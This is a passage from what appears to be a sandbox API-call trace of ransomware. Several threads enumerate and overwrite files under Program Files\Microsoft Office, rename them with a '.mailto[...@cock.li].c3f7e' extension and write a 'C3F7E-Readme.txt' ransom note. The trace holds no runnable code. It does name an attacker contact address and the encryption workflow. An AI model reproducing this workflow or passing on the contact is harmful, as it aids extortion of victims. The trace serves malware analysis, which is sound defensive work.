	[0077.886] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e345c8) returned 1
	[0077.886] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e34348) returned 1
	[0077.886] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e34140) returned 1
	[0077.886] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xac) returned 0x2ddba40
	[0077.886] wcscpy (in: _Dest=0x2ddba40, _Source="C:\\Program Files\\Microsoft Office\\AppXManifest.xml" | out: _Dest="C:\\Program Files\\Microsoft Office\\AppXManifest.xml") returned="C:\\Program Files\\Microsoft Office\\AppXManifest.xml"
	[0077.886] wcscat (in: _Dest=0x2ddba40, _Source=".mailto[kkeessnnkkaa@cock.li].c3f7e" | out: _Dest="C:\\Program Files\\Microsoft Office\\AppXManifest.xml.mailto[kkeessnnkkaa@cock.li].c3f7e") returned="C:\\Program Files\\Microsoft Office\\AppXManifest.xml.mailto[kkeessnnkkaa@cock.li].c3f7e"
	[0077.886] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\AppXManifest.xml.mailto[kkeessnnkkaa@cock.li].c3f7e", NtPathName=0xb00f8f8, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\AppXManifest.xml.mailto[kkeessnnkkaa@cock.li].c3f7e", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1
	[0077.886] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xc2) returned 0x47caca0
	[0078.126] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47caca0) returned 1
	[0078.126] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x476a028) returned 1
	[0078.126] NtQueryInformationFile (in: FileHandle=0x810, IoStatusBlock=0xb00f904, FileInformation=0xb00f8dc, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0xb00f904, FileInformation=0xb00f8dc) returned 0x0
	[0078.126] NtSetInformationFile (FileHandle=0x810, IoStatusBlock=0xb00f904, FileInformation=0xb00f8dc, Length=0x28, FileInformationClass=0x4) returned 0x0
	[0078.127] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2ddba40) returned 1
	[0078.127] FlushFileBuffers (hFile=0x810) returned 1
	[0080.044] CloseHandle (hObject=0x810) returned 1
	[0080.159] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x68) returned 0x47ed4c0
	[0080.159] wcscpy (in: _Dest=0x47ed4c0, _Source="C:\\Program Files\\Microsoft Office\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\") returned="C:\\Program Files\\Microsoft Office\\"
	[0080.159] wcscat (in: _Dest=0x47ed4c0, _Source="C3F7E-Readme.txt" | out: _Dest="C:\\Program Files\\Microsoft Office\\C3F7E-Readme.txt") returned="C:\\Program Files\\Microsoft Office\\C3F7E-Readme.txt"
	[0080.159] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\C3F7E-Readme.txt" (normalized: "c:\\program files\\microsoft office\\c3f7e-readme.txt")) returned 0xffffffff
	[0080.164] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\C3F7E-Readme.txt" (normalized: "c:\\program files\\microsoft office\\c3f7e-readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xd94
	[0081.315] WriteFile (in: hFile=0xd94, lpBuffer=0x2d7c938*, nNumberOfBytesToWrite=0x6f6, lpNumberOfBytesWritten=0xb00f900, lpOverlapped=0x0 | out: lpBuffer=0x2d7c938*, lpNumberOfBytesWritten=0xb00f900*=0x6f6, lpOverlapped=0x0) returned 1
	[0081.326] CloseHandle (hObject=0xd94) returned 1
	[0081.327] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47ed4c0) returned 1
	[0081.327] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d54800) returned 1

Thread:
	id = 228
	os_tid = 0x7ac

	[0076.742] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\FileSystemMetadata.xml" (normalized: "c:\\program files\\microsoft office\\filesystemmetadata.xml")) returned 0x220
	[0078.110] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\FileSystemMetadata.xml", dwFileAttributes=0x20) returned 1
	[0078.110] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\FileSystemMetadata.xml" (normalized: "c:\\program files\\microsoft office\\filesystemmetadata.xml"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xd94
	[0078.110] GetFileSizeEx (in: hFile=0xd94, lpFileSize=0xb08fa84 | out: lpFileSize=0xb08fa84*=281) returned 1
	[0078.110] SetFilePointerEx (in: hFile=0xd94, liDistanceToMove=0x115, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0078.110] ReadFile (in: hFile=0xd94, lpBuffer=0xb08fa08, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0xb08fa04, lpOverlapped=0x0 | out: lpBuffer=0xb08fa08*, lpNumberOfBytesRead=0xb08fa04*=0x4, lpOverlapped=0x0) returned 1
	[0078.111] SetFilePointerEx (in: hFile=0xd94, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0078.111] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e34550
	[0078.111] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e34618
	[0078.111] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e34780
	[0078.111] NtQuerySystemTime (in: CurrentTime=0xb08f9e4 | out: CurrentTime=0xb08f9e4*=132251868048469269) returned 0x0
	[0078.111] RtlRandom (in: Seed=0xb08f9f0 | out: Seed=0xb08f9f0) returned 0x970f156
	[0078.111] RtlRandom (in: Seed=0xb08f9f0 | out: Seed=0xb08f9f0) returned 0x9d48f406
	[0078.112] RtlRandom (in: Seed=0xb08f9f0 | out: Seed=0xb08f9f0) returned 0xb0fe0717
	[0078.112] RtlRandom (in: Seed=0xb08f9f0 | out: Seed=0xb08f9f0) returned 0xe4430b48
	[0078.112] RtlRandom (in: Seed=0xb08f9f0 | out: Seed=0xb08f9f0) returned 0xebf36184
	[0078.112] RtlRandom (in: Seed=0xb08f9f0 | out: Seed=0xb08f9f0) returned 0xa931e4c4
	[0078.112] RtlRandom (in: Seed=0xb08f9f0 | out: Seed=0xb08f9f0) returned 0xaf255b4a
	[0078.112] RtlRandom (in: Seed=0xb08f9f0 | out: Seed=0xb08f9f0) returned 0x1ce20222
	[0078.112] RtlRandom (in: Seed=0xb08f9f0 | out: Seed=0xb08f9f0) returned 0x5dd4fae8
	[0078.112] RtlRandom (in: Seed=0xb08f9f0 | out: Seed=0xb08f9f0) returned 0x4d76735f
	[0078.112] RtlRandom (in: Seed=0xb08f9f0 | out: Seed=0xb08f9f0) returned 0xb8b1c665
	[0078.112] RtlRandom (in: Seed=0xb08f9f0 | out: Seed=0xb08f9f0) returned 0x814fe87f
	[0078.112] RtlRandom (in: Seed=0xb08f9f0 | out: Seed=0xb08f9f0) returned 0x185177e
	[0078.112] RtlRandom (in: Seed=0xb08f9f0 | out: Seed=0xb08f9f0) returned 0x446e6415
	[0078.112] RtlRandom (in: Seed=0xb08f9f0 | out: Seed=0xb08f9f0) returned 0xcb3a27be
	[0078.112] RtlRandom (in: Seed=0xb08f9f0 | out: Seed=0xb08f9f0) returned 0x15367399
	[0078.112] RtlRandom (in: Seed=0xb08f9f0 | out: Seed=0xb08f9f0) returned 0x6792d0a
	[0078.112] RtlRandom (in: Seed=0xb08f9f0 | out: Seed=0xb08f9f0) returned 0xab35ecbd
	[0078.112] RtlRandom (in: Seed=0xb08f9f0 | out: Seed=0xb08f9f0) returned 0xac388ace
	[0078.112] RtlRandom (in: Seed=0xb08f9f0 | out: Seed=0xb08f9f0) returned 0x94d690d7
	[0078.112] RtlRandom (in: Seed=0xb08f9f0 | out: Seed=0xb08f9f0) returned 0x2034fb2d
	[0078.112] RtlRandom (in: Seed=0xb08f9f0 | out: Seed=0xb08f9f0) returned 0x9e3becef
	[0078.112] RtlRandom (in: Seed=0xb08f9f0 | out: Seed=0xb08f9f0) returned 0x1db9c488
	[0078.112] RtlRandom (in: Seed=0xb08f9f0 | out: Seed=0xb08f9f0) returned 0x49e13e82
	[0078.112] RtlRandom (in: Seed=0xb08f9f0 | out: Seed=0xb08f9f0) returned 0xdcc63dbb
	[0078.112] RtlRandom (in: Seed=0xb08f9f0 | out: Seed=0xb08f9f0) returned 0xcf222f6e
	[0078.112] RtlRandom (in: Seed=0xb08f9f0 | out: Seed=0xb08f9f0) returned 0xd6507e3e
	[0078.112] RtlRandom (in: Seed=0xb08f9f0 | out: Seed=0xb08f9f0) returned 0x34b1a3ef
	[0078.112] RtlRandom (in: Seed=0xb08f9f0 | out: Seed=0xb08f9f0) returned 0xcc8d503f
	[0078.112] RtlRandom (in: Seed=0xb08f9f0 | out: Seed=0xb08f9f0) returned 0x7c2af44f
	[0078.112] RtlRandom (in: Seed=0xb08f9f0 | out: Seed=0xb08f9f0) returned 0x58a67d0d
	[0078.112] RtlRandom (in: Seed=0xb08f9f0 | out: Seed=0xb08f9f0) returned 0xfe9f18bf
	[0078.124] ReadFile (in: hFile=0xd94, lpBuffer=0x46c9060, nNumberOfBytesToRead=0x119, lpNumberOfBytesRead=0xb08f9e0, lpOverlapped=0x0 | out: lpBuffer=0x46c9060*, lpNumberOfBytesRead=0xb08f9e0*=0x119, lpOverlapped=0x0) returned 1
	[0078.124] SetFilePointerEx (in: hFile=0xd94, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0078.124] WriteFile (in: hFile=0xd94, lpBuffer=0x46d5868*, nNumberOfBytesToWrite=0x119, lpNumberOfBytesWritten=0xb08f9dc, lpOverlapped=0x0 | out: lpBuffer=0x46d5868*, lpNumberOfBytesWritten=0xb08f9dc*=0x119, lpOverlapped=0x0) returned 1
	[0078.128] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e34550
	[0078.128] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e34780
	[0078.128] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e34780) returned 1
	[0078.128] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x46d5868) returned 1
	[0078.128] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x46c9060) returned 1
	[0078.128] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47537a0) returned 1
	[0078.128] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2dfa7c0) returned 1
	[0078.128] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x39) returned 0x2dfa9b8
	[0078.128] SetFilePointerEx (in: hFile=0xd94, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0078.128] WriteFile (in: hFile=0xd94, lpBuffer=0x2d5b2a8*, nNumberOfBytesToWrite=0x11d, lpNumberOfBytesWritten=0xb08fa44, lpOverlapped=0x0 | out: lpBuffer=0x2d5b2a8*, lpNumberOfBytesWritten=0xb08fa44*=0x11d, lpOverlapped=0x0) returned 1
	[0080.045] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d5b2a8) returned 1
	[0080.045] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2dfa850) returned 1
	[0080.045] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e34780) returned 1
	[0080.045] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2dfa9b8) returned 1
	[0080.045] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e34550) returned 1
	[0080.045] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e34618) returned 1
	[0080.045] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e345c8) returned 1
	[0080.045] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e345f0) returned 1
	[0080.045] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xb8) returned 0x476a028
	[0080.045] wcscpy (in: _Dest=0x476a028, _Source="C:\\Program Files\\Microsoft Office\\FileSystemMetadata.xml" | out: _Dest="C:\\Program Files\\Microsoft Office\\FileSystemMetadata.xml") returned="C:\\Program Files\\Microsoft Office\\FileSystemMetadata.xml"
	[0080.045] wcscat (in: _Dest=0x476a028, _Source=".mailto[kkeessnnkkaa@cock.li].c3f7e" | out: _Dest="C:\\Program Files\\Microsoft Office\\FileSystemMetadata.xml.mailto[kkeessnnkkaa@cock.li].c3f7e") returned="C:\\Program Files\\Microsoft Office\\FileSystemMetadata.xml.mailto[kkeessnnkkaa@cock.li].c3f7e"
	[0080.045] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\FileSystemMetadata.xml.mailto[kkeessnnkkaa@cock.li].c3f7e", NtPathName=0xb08f9fc, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\FileSystemMetadata.xml.mailto[kkeessnnkkaa@cock.li].c3f7e", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1
	[0080.045] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xce) returned 0x477d460
	[0080.045] NtSetInformationFile (FileHandle=0xd94, IoStatusBlock=0xb08f9f4, FileInformation=0x477d460, Length=0xce, FileInformationClass=0xa) returned 0x0
	[0080.753] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x477d460) returned 1
	[0080.753] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47711d0) returned 1
	[0080.753] NtQueryInformationFile (in: FileHandle=0xd94, IoStatusBlock=0xb08fa08, FileInformation=0xb08f9e0, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0xb08fa08, FileInformation=0xb08f9e0) returned 0x0
	[0080.753] NtSetInformationFile (FileHandle=0xd94, IoStatusBlock=0xb08fa08, FileInformation=0xb08f9e0, Length=0x28, FileInformationClass=0x4) returned 0x0
	[0080.754] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x476a028) returned 1
	[0080.754] FlushFileBuffers (hFile=0xd94) returned 1
	[0080.756] CloseHandle (hObject=0xd94) returned 1
	[0080.757] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x68) returned 0x47ed290
	[0080.757] wcscpy (in: _Dest=0x47ed290, _Source="C:\\Program Files\\Microsoft Office\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\") returned="C:\\Program Files\\Microsoft Office\\"
	[0080.757] wcscat (in: _Dest=0x47ed290, _Source="C3F7E-Readme.txt" | out: _Dest="C:\\Program Files\\Microsoft Office\\C3F7E-Readme.txt") returned="C:\\Program Files\\Microsoft Office\\C3F7E-Readme.txt"
	[0080.757] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\C3F7E-Readme.txt" (normalized: "c:\\program files\\microsoft office\\c3f7e-readme.txt")) returned 0x20
	[0080.757] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47ed290) returned 1
	[0080.757] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d606c8) returned 1

Thread:
	id = 229
	os_tid = 0xa10

	[0076.743] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x5a) returned 0x4733800
	[0076.743] wcscpy (in: _Dest=0x4733800, _Source="C:\\Program Files\\Microsoft Office\\Office16" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office16") returned="C:\\Program Files\\Microsoft Office\\Office16"
	[0076.743] wcscat (in: _Dest=0x4733800, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office16\\") returned="C:\\Program Files\\Microsoft Office\\Office16\\"
	[0076.743] wcscat (in: _Dest=0x4733800, _Source="*" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office16\\*") returned="C:\\Program Files\\Microsoft Office\\Office16\\*"
	[0076.743] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x250) returned 0x2d88cd0
	[0076.743] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office16\\*", lpFindFileData=0x2d88cd0 | out: lpFindFileData=0x2d88cd0*(dwFileAttributes=0x30, ftCreationTime.dwLowDateTime=0xd9e7b530, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xa146f18e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xda9a8629, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2dacaf8
	[0078.139] wcscmp (_String1=".", _String2=".") returned 0
	[0078.139] FindNextFileW (in: hFindFile=0x2dacaf8, lpFindFileData=0x2d88cd0 | out: lpFindFileData=0x2d88cd0*(dwFileAttributes=0x30, ftCreationTime.dwLowDateTime=0xd9e7b530, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xa146f18e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xda9a8629, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0078.139] wcscmp (_String1="..", _String2=".") returned 1
	[0078.139] wcscmp (_String1="..", _String2="..") returned 0
	[0078.139] FindNextFileW (in: hFindFile=0x2dacaf8, lpFindFileData=0x2d88cd0 | out: lpFindFileData=0x2d88cd0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd502d600, ftCreationTime.dwHighDateTime=0x1d0d6b2, ftLastAccessTime.dwLowDateTime=0xd9e7b530, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd502d600, ftLastWriteTime.dwHighDateTime=0x1d0d6b2, nFileSizeHigh=0x0, nFileSizeLow=0x2a9c0, dwReserved0=0x0, dwReserved1=0x0, cFileName="OSPP.HTM", cAlternateFileName="")) returned 1
	[0078.139] wcscmp (_String1="OSPP.HTM", _String2=".") returned 1
	[0078.139] wcscmp (_String1="OSPP.HTM", _String2="..") returned 1
	[0078.139] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x68) returned 0x2e17508
	[0078.139] wcscpy (in: _Dest=0x2e17508, _Source="C:\\Program Files\\Microsoft Office\\Office16" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office16") returned="C:\\Program Files\\Microsoft Office\\Office16"
	[0078.140] wcscat (in: _Dest=0x2e17508, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office16\\") returned="C:\\Program Files\\Microsoft Office\\Office16\\"
	[0078.140] wcscat (in: _Dest=0x2e17508, _Source="OSPP.HTM" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office16\\OSPP.HTM") returned="C:\\Program Files\\Microsoft Office\\Office16\\OSPP.HTM"
	[0078.140] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2769640, lpParameter=0x2e17508, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xd9c
	[0078.141] FindNextFileW (in: hFindFile=0x2dacaf8, lpFindFileData=0x2d88cd0 | out: lpFindFileData=0x2d88cd0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5b5b0d00, ftCreationTime.dwHighDateTime=0x1d0d7c4, ftLastAccessTime.dwLowDateTime=0xd9ea17a8, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x5b5b0d00, ftLastWriteTime.dwHighDateTime=0x1d0d7c4, nFileSizeHigh=0x0, nFileSizeLow=0x17103, dwReserved0=0x0, dwReserved1=0x0, cFileName="OSPP.VBS", cAlternateFileName="")) returned 1
	[0078.141] wcscmp (_String1="OSPP.VBS", _String2=".") returned 1
	[0078.141] wcscmp (_String1="OSPP.VBS", _String2="..") returned 1
	[0078.141] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x68) returned 0x2e17578
	[0078.142] wcscpy (in: _Dest=0x2e17578, _Source="C:\\Program Files\\Microsoft Office\\Office16" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office16") returned="C:\\Program Files\\Microsoft Office\\Office16"
	[0078.142] wcscat (in: _Dest=0x2e17578, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office16\\") returned="C:\\Program Files\\Microsoft Office\\Office16\\"
	[0078.142] wcscat (in: _Dest=0x2e17578, _Source="OSPP.VBS" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office16\\OSPP.VBS") returned="C:\\Program Files\\Microsoft Office\\Office16\\OSPP.VBS"
	[0078.142] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2769640, lpParameter=0x2e17578, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xda0
	[0078.143] FindNextFileW (in: hFindFile=0x2dacaf8, lpFindFileData=0x2d88cd0 | out: lpFindFileData=0x2d88cd0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5b5b0d00, ftCreationTime.dwHighDateTime=0x1d0d7c4, ftLastAccessTime.dwLowDateTime=0xd9f60362, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x5b5b0d00, ftLastWriteTime.dwHighDateTime=0x1d0d7c4, nFileSizeHigh=0x0, nFileSizeLow=0x6a40, dwReserved0=0x0, dwReserved1=0x0, cFileName="OSPPREARM.EXE", cAlternateFileName="OSPPRE~1.EXE")) returned 1
	[0078.143] wcscmp (_String1="OSPPREARM.EXE", _String2=".") returned 1
	[0078.143] wcscmp (_String1="OSPPREARM.EXE", _String2="..") returned 1
	[0078.143] FindNextFileW (in: hFindFile=0x2dacaf8, lpFindFileData=0x2d88cd0 | out: lpFindFileData=0x2d88cd0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd502d600, ftCreationTime.dwHighDateTime=0x1d0d6b2, ftLastAccessTime.dwLowDateTime=0xda9a8629, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd502d600, ftLastWriteTime.dwHighDateTime=0x1d0d6b2, nFileSizeHigh=0x0, nFileSizeLow=0x8df0, dwReserved0=0x0, dwReserved1=0x0, cFileName="SLERROR.XML", cAlternateFileName="")) returned 1
	[0078.143] wcscmp (_String1="SLERROR.XML", _String2=".") returned 1
	[0078.143] wcscmp (_String1="SLERROR.XML", _String2="..") returned 1
	[0078.143] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x6e) returned 0x47537a0
	[0078.144] wcscpy (in: _Dest=0x47537a0, _Source="C:\\Program Files\\Microsoft Office\\Office16" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office16") returned="C:\\Program Files\\Microsoft Office\\Office16"
	[0078.144] wcscat (in: _Dest=0x47537a0, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office16\\") returned="C:\\Program Files\\Microsoft Office\\Office16\\"
	[0078.144] wcscat (in: _Dest=0x47537a0, _Source="SLERROR.XML" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office16\\SLERROR.XML") returned="C:\\Program Files\\Microsoft Office\\Office16\\SLERROR.XML"
	[0078.144] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2769640, lpParameter=0x47537a0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xda4
	[0078.145] FindNextFileW (in: hFindFile=0x2dacaf8, lpFindFileData=0x2d88cd0 | out: lpFindFileData=0x2d88cd0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd502d600, ftCreationTime.dwHighDateTime=0x1d0d6b2, ftLastAccessTime.dwLowDateTime=0xda9a8629, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd502d600, ftLastWriteTime.dwHighDateTime=0x1d0d6b2, nFileSizeHigh=0x0, nFileSizeLow=0x8df0, dwReserved0=0x0, dwReserved1=0x0, cFileName="SLERROR.XML", cAlternateFileName="")) returned 0
	[0078.145] FindClose (in: hFindFile=0x2dacaf8 | out: hFindFile=0x2dacaf8) returned 1
	[0078.145] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d88cd0) returned 1
	[0078.145] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4733800) returned 1
	[0078.145] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d77c00) returned 1

Thread:
	id = 230
	os_tid = 0xd10

	[0076.745] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x6a) returned 0x2e043d8
	[0076.745] wcscpy (in: _Dest=0x2e043d8, _Source="C:\\Program Files\\Microsoft Office\\PackageManifests" | out: _Dest="C:\\Program Files\\Microsoft Office\\PackageManifests") returned="C:\\Program Files\\Microsoft Office\\PackageManifests"
	[0076.745] wcscat (in: _Dest=0x2e043d8, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\PackageManifests\\") returned="C:\\Program Files\\Microsoft Office\\PackageManifests\\"
	[0076.745] wcscat (in: _Dest=0x2e043d8, _Source="*" | out: _Dest="C:\\Program Files\\Microsoft Office\\PackageManifests\\*") returned="C:\\Program Files\\Microsoft Office\\PackageManifests\\*"
	[0076.745] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x250) returned 0x2d88150
	[0076.745] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\*", lpFindFileData=0x2d88150 | out: lpFindFileData=0x2d88150*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x831d63af, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf982bd9c, ftLastAccessTime.dwHighDateTime=0x1d47c33, ftLastWriteTime.dwLowDateTime=0xf982bd9c, ftLastWriteTime.dwHighDateTime=0x1d47c33, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2d71540
	[0079.793] wcscmp (_String1=".", _String2=".") returned 0
	[0079.793] FindNextFileW (in: hFindFile=0x2d71540, lpFindFileData=0x2d88150 | out: lpFindFileData=0x2d88150*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x831d63af, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf982bd9c, ftLastAccessTime.dwHighDateTime=0x1d47c33, ftLastWriteTime.dwLowDateTime=0xf982bd9c, ftLastWriteTime.dwHighDateTime=0x1d47c33, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0079.795] wcscmp (_String1="..", _String2=".") returned 1
	[0079.795] wcscmp (_String1="..", _String2="..") returned 0
	[0079.795] FindNextFileW (in: hFindFile=0x2d71540, lpFindFileData=0x2d88150 | out: lpFindFileData=0x2d88150*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x834f7581, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x834f7581, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x83ea71ba, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x5e91c, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppXManifest.90160000-0015-0000-1000-0000000FF1CE.xml", cAlternateFileName="APA05A~1.XML")) returned 1
	[0079.795] wcscmp (_String1="AppXManifest.90160000-0015-0000-1000-0000000FF1CE.xml", _String2=".") returned 1
	[0079.795] wcscmp (_String1="AppXManifest.90160000-0015-0000-1000-0000000FF1CE.xml", _String2="..") returned 1
	[0079.795] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xd2) returned 0x47732b0
	[0079.795] wcscpy (in: _Dest=0x47732b0, _Source="C:\\Program Files\\Microsoft Office\\PackageManifests" | out: _Dest="C:\\Program Files\\Microsoft Office\\PackageManifests") returned="C:\\Program Files\\Microsoft Office\\PackageManifests"
